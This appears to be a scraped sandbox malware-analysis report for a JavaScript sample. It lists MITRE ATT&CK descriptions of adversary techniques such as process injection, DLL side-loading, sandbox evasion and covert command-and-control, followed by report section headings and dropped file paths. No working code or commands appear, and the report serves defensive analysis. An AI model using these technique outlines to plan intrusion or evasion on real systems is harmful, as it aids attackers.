Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 125141699249677575.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\544ef301-5bf8-41b8-a904-8361d70d4af2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.768

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
125141699249677575.js